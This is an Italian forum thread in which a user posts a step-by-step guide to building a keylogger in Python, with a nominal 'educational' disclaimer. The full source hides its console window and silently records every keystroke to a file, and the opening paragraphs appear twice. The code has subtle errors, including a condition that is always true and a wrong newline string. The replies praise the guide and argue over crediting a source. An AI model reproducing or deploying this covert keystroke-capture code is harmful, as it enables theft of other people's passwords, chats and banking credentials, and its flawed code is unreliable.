Creare un Keylogger
4 partecipanti
- ValerioLover Member
- Posts : 3300
Età : 27
Registrato Dal : 31.07.10
Creare un Keylogger
Gio Ago 19 2010, 20:57
Salve utenti oggi sono qui per postare una guida su come creare un Keylogger.
Come tutti sicuramente saprete, un keylogger è un programma in grado di intercettare tutto ciò che l’utente digita sulla tastiera del proprio computer. E suppongo sappiate altrettanto bene che, proprio per questa sua caratteristica, il keylogger è un software che non sempre si presta ad usi propriamente leciti, tant’è vero che ormai quasi tutti gli antivirus dispongono di funzionalità in grado di riconoscere la presenza di un keylogger attivo in background.
Di fatto quindi l’installazione di un keylogger su un computer che non sia il proprio o comunque ad insaputa del legittimo proprietario, si configura come un vero e proprio reato di violazione della privacy: i dati intercettati (come ad esempio sessioni di chat, username e password di Facebook o dell’ home banking, email, …) infatti vengono normalmente salvati su un file di log che il possessore del keylogger recupera in un secondo momento o che addirittura gli vengono inviati automaticamente via email.
A scopo puramente didattico vedremo come sia possibile creare un semplice keylogger completamente funzionante, sfruttando la poternza di Python. Di seguito i passi da seguire:
Scaricate ed installate i software necessari:
Python 2.6: http://www.python.org/
Pyhook per Python 2.6: http://software.informer.com/getfree-pyhook-per-python-2.6-download/
Python for Windows Extensions: http://sourceforge.net/projects/pywin32/
Dal menu di avvio selezionate “Python 2.6 > PythonWin” per avviare l’editor
Dal menù selezionate “File > New“, quindi scegliete l’opzione “Python Script” e date “OK“
Incollate il seguente sorgente (attenzione alle indentazioni)
Fonte: Mie conoscenze
Come tutti sicuramente saprete, un keylogger è un programma in grado di intercettare tutto ciò che l’utente digita sulla tastiera del proprio computer. E suppongo sappiate altrettanto bene che, proprio per questa sua caratteristica, il keylogger è un software che non sempre si presta ad usi propriamente leciti, tant’è vero che ormai quasi tutti gli antivirus dispongono di funzionalità in grado di riconoscere la presenza di un keylogger attivo in background.
Di fatto quindi l’installazione di un keylogger su un computer che non sia il proprio o comunque ad insaputa del legittimo proprietario, si configura come un vero e proprio reato di violazione della privacy: i dati intercettati (come ad esempio sessioni di chat, username e password di Facebook o dell’ home banking, email, …) infatti vengono normalmente salvati su un file di log che il possessore del keylogger recupera in un secondo momento o che addirittura gli vengono inviati automaticamente via email.
A scopo puramente didattico vedremo come sia possibile creare un semplice keylogger completamente funzionante, sfruttando la poternza di Python. Di seguito i passi da seguire:
Scaricate ed installate i software necessari:
Python 2.6: http://www.python.org/
Pyhook per Python 2.6: http://software.informer.com/getfree-pyhook-per-python-2.6-download/
Python for Windows Extensions: http://sourceforge.net/projects/pywin32/
Dal menu di avvio selezionate “Python 2.6 > PythonWin” per avviare l’editor
Dal menù selezionate “File > New“, quindi scegliete l’opzione “Python Script” e date “OK“
Incollate il seguente sorgente (attenzione alle indentazioni)
- Spoiler:
- import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii != 0 or 8:
f=open('c:\output.txt','r')
buffer=f.read()
f.close()
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer += keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Fonte: Mie conoscenze
- GianlucaLover Member
- Posts : 2239
Età : 27
Registrato Dal : 03.06.10
Re: Creare un Keylogger
Ven Ago 20 2010, 07:46
Bravissimo complimenti.
- Fra77Lover Member
- Posts : 3057
Età : 26
Registrato Dal : 14.11.09
Re: Creare un Keylogger
Ven Ago 20 2010, 09:07
Bravo,fonte?
- GianlucaLover Member
- Posts : 2239
Età : 27
Registrato Dal : 03.06.10
Re: Creare un Keylogger
Ven Ago 20 2010, 10:59
Fonte entro 24 ore se no Chiudo.
- ValerioLover Member
- Posts : 3300
Età : 27
Registrato Dal : 31.07.10
Re: Creare un Keylogger
Ven Ago 20 2010, 17:02
Fonte mia cioè conoscenze e un po' di spunto dal web... va bene no?
- GianlucaLover Member
- Posts : 2239
Età : 27
Registrato Dal : 03.06.10
Re: Creare un Keylogger
Ven Ago 20 2010, 17:41
Si perfetto.
- ValerioLover Member
- Posts : 3300
Età : 27
Registrato Dal : 31.07.10
Re: Creare un Keylogger
Ven Ago 20 2010, 18:29
Ok se avete problemi contattatemi
- GianlucaLover Member
- Posts : 2239
Età : 27
Registrato Dal : 03.06.10
Re: Creare un Keylogger
Ven Ago 20 2010, 18:36
Grazie dell'offerta.
- PakoAdvanced Member
- Posts : 556
Età : 28
Registrato Dal : 03.09.09
Re: Creare un Keylogger
Gio Ago 26 2010, 20:56
Valerio ha scritto:Fonte mia cioè conoscenze e un po' di spunto dal web... va bene no?
Ok , la fonte è tua. Appena torni modifica il post e metti la fonte.
Comunque bella guida mi servirà in futuro. :O:
- ValerioLover Member
- Posts : 3300
Età : 27
Registrato Dal : 31.07.10
Re: Creare un Keylogger
Ven Ago 27 2010, 06:45
Fonte è messa da parecchio tempo -.- cosa fai dormi? :S: e poi se vedi sta sopra le fonti ... ci sta scritto fonti mie conoscienze
Ciao
Ciao
- GianlucaLover Member
- Posts : 2239
Età : 27
Registrato Dal : 03.06.10
Re: Creare un Keylogger
Ven Ago 27 2010, 07:05
Valerio complimenti e tranquillo.
- ValerioLover Member
- Posts : 3300
Età : 27
Registrato Dal : 31.07.10
Re: Creare un Keylogger
Ven Ago 27 2010, 17:33
Piu tranquillo di cosi non posso stare
- GianlucaLover Member
- Posts : 2239
Età : 27
Registrato Dal : 03.06.10
Re: Creare un Keylogger
Ven Ago 27 2010, 17:41
Piu tranquillo di cosi non posso stare
Hai Ragione.
- PakoAdvanced Member
- Posts : 556
Età : 28
Registrato Dal : 03.09.09
Re: Creare un Keylogger
Ven Ago 27 2010, 18:47
Valerio ha scritto:Fonte è messa da parecchio tempo -.- cosa fai dormi? :S: e poi se vedi sta sopra le fonti ... ci sta scritto fonti mie conoscienze
Ciao
Mi scuso :S: , Non ho letto tutto l'inizio e ho guardato sotto per la fonte.. di solito la mettono per ultima :ass:
- ValerioLover Member
- Posts : 3300
Età : 27
Registrato Dal : 31.07.10
Re: Creare un Keylogger
Sab Ago 28 2010, 07:34
No no scusami tu tranquillo ora la metto per ultima anche io aspetta eh *-*
- Fra77Lover Member
- Posts : 3057
Età : 26
Registrato Dal : 14.11.09
Re: Creare un Keylogger
Sab Ago 28 2010, 10:15
Vabè,l importante è che c'e la fonte,anche se all'inizio o alla fine .
- GianlucaLover Member
- Posts : 2239
Età : 27
Registrato Dal : 03.06.10
Re: Creare un Keylogger
Sab Ago 28 2010, 10:16
Hai ragione,lasciala dove vuoi.
- ValerioLover Member
- Posts : 3300
Età : 27
Registrato Dal : 31.07.10
Re: Creare un Keylogger
Sab Ago 28 2010, 11:00
Comunque ora è apposto quindi dovrebbe andare bene
- GianlucaLover Member
- Posts : 2239
Età : 27
Registrato Dal : 03.06.10
Re: Creare un Keylogger
Sab Ago 28 2010, 11:01
Perfetto.
Permessi in questa sezione del forum:
Non puoi rispondere agli argomenti in questo forum.